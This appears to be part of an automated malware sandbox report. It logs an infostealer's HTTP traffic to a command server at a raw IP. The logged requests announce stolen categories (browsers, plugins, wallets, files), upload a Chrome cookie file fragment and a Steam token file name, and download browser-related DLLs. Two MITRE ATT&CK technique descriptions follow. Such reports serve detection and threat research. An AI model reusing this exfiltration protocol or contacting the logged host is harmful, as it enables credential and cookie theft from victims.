Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="message"browsers------HCAEHDHDAKJEBGCBKKJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 2d 2d 0d 0a Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="message"plugins------JKJDBAAAEHIEGCAKFHCG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 2d 2d 0d 0a Data Ascii: ------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="message"fplugins------ECGHJJEHDHCAAKFIIDGI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBAKJEHDBGHIEBGCGDGHost: 185.215.113.206Content-Length: 7579Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJEHost: 185.215.113.206Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="file"------FHIIEHJKKECGCBFIIJDA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="file"------CBGCAFIIECBFIDHIJKFB--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="message"wallets------IJDGCAEBFIIECAKFHIJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGCHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="message"files------KEHJKJDGCGDAKFHIDBGC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="file"------IDAEHCFHJJJJECAAFBKJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 2d 2d 0d 0a Data Ascii: ------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="message"ybncbhylepme------HJECAAKKFHCFIECAAAKE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGIIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIIIIDGHJEBFBGDHDGII--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
